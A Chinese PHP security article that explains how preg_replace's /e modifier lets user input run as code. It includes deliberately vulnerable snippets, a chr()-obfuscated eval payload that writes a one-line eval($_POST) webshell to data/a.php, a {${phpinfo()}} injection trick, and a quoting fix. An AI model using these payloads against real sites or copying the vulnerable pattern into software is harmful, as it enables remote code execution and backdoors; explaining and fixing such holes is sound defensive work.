慎用preg_replace危险的/e修饰符(一句话后门常用)

 更新时间:2013年06月19日 10:28:53   作者:  
要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

复制代码 代码如下:

<?php
preg_replace ("/(</?)(w+)([^>]*>)/e",
"\1.strtoupper(\2).\3",
$html_body);
?>


这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

复制代码 代码如下:

<?
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>


如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

复制代码 代码如下:

<?
function test($str)
{
}
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]);
?>


提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?


当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

复制代码 代码如下:

echo "{${phpinfo()}}";


phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

相关文章

  • PHP批量上传图片的具体实现方法介绍.

    PHP批量上传图片的具体实现方法介绍.

    这篇文章主要介绍了PHP批量上传图片的具体实现方法。需要的朋友可以过来参考下,希望对大家有所帮助
    2014-02-02
  • PHP获取一年中每个星期的开始和结束日期的方法

    PHP获取一年中每个星期的开始和结束日期的方法

    这篇文章主要介绍了PHP获取一年中每个星期的开始和结束日期的方法,涉及php对日期操作的技巧,具有一定参考借鉴价值,需要的朋友可以参考下
    2015-02-02
  • Ajax PHP 边学边练 之三 数据库

    Ajax PHP 边学边练 之三 数据库

    在上一篇备忘日历实例中,实现了当鼠标放在某个日期上时,如果当天有备忘信息则会显示出来,但是这些信息是为了测试方便事先写在数组中的数据,不能体现其实时性。
    2009-11-11
  • php下过滤html代码的函数 提高程序安全性

    php下过滤html代码的函数 提高程序安全性

    用PHP过滤html里可能被利用来引入外部危险内容的代码。有些时候,需要让用户提交html内容,以便丰富用户发布的信息,当然,有些可能造成显示页面布局混乱的代码也在过滤范围内。
    2010-03-03
  • php获取数组中键值最大数组项的索引值

    php获取数组中键值最大数组项的索引值

    这篇文章主要介绍了php获取数组中键值最大数组项的索引值的方法,主要通过asort对数组进行排序,再使用foreach循环将数组索引值赋给一个新的数组,从而获取其对应索引值,非常具有实用价值,需要的朋友可以参考下
    2015-03-03
  • php获取根域名方法汇总

    php获取根域名方法汇总

    这篇文章主要介绍了php获取根域名方法,实例汇总了常见的php获取根域名的方法,是非常实用的技巧,需要的朋友可以参考下
    2014-10-10
  • PHP中CURL的CURLOPT_POSTFIELDS参数使用细节

    PHP中CURL的CURLOPT_POSTFIELDS参数使用细节

    CURL确实是一个不错的好工具,不仅在PHP中还是其他的操作系统中,都是一个非常好用的。但是如果你有些参数没有用好的话,那可能会得不到自己理想中的结果
    2014-03-03
  • 基于PHPExcel的常用方法总结

    基于PHPExcel的常用方法总结

    本篇文章是对PHPExcel的常用方法进行详细的总结与分析,需要的朋友参考下
    2013-06-06
  • PHP pthreads v3下同步处理synchronized用法示例

    PHP pthreads v3下同步处理synchronized用法示例

    这篇文章主要介绍了PHP pthreads v3下同步处理synchronized用法,结合实例形式分析了PHP pthreads v3下同步处理synchronized原理、使用方法及相关操作注意事项,需要的朋友可以参考下
    2020-02-02
  • PHP中使用Imagick实现各种图片效果实例

    PHP中使用Imagick实现各种图片效果实例

    这篇文章主要介绍了PHP中使用Imagick实现各种图片效果实例,本文讲解了偏置图像、改变图片大小、创建文本图像、图像模糊度处理等内容,需要的朋友可以参考下
    2015-01-01

最新评论